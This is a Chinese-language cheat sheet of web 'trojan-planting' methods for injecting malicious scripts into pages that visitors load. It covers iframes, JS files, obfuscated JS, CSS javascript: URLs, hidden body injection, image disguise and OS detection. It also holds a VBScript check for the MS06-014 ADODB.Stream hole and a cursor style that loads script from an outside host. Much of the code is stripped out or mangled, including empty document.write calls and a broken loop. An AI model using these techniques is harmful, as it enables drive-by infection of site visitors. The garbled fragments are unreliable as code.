一:框架挂马
二:js文件挂马
首先将以下代码
document.write("");
保存为xxx.js,
则JS挂马代码为
三:js变形加密
muma.txt可改成任意后缀
四:body挂马
五:隐蔽挂马
top.document.body.innerHTML = top.document.body.innerHTML + '\r\n';
六:css中挂马
body {
background-image: url('javascript:document.write("")')}
七:JAJA挂马
八:图片伪装
九:伪装调用:
十:高级欺骗
页面要显示的内容
十一:判断系统代码
十二:判断是否有ms06014代码
on error resume next
set server = document.createElement("object")
server.setAttribute "classid", "clsid:10072CEC-8CC1-11D1-986E-00A0C955B42E"
set File = server.createobject(Adodb.Stream,"")
if Not Err.Number = 0 then
err.clear
document.write ("");
document.writeln("");
document.writeln("");
document.writeln("");
document.writeln("");
document.writeln(" ");
document.writeln("");
document.writeln("document.writeln("style=\"CURSOR: url(\'http:\/\/www.upx.com.cn\/demo.js\')\">")
//分析src的参数函数
function getUrlParameterAdv(asName,lsURL){
loU = lsURL.split("?");
if (loU.length>1){
var loallPm = loU[1].split("&");
for (var i=0; ivar loPm = loallPm[i].split("=");
if (loPm[0]==asName){
if (loPm.length>1){
return loPm[1];
}else{
return "";
}
}
}
}
return null;
}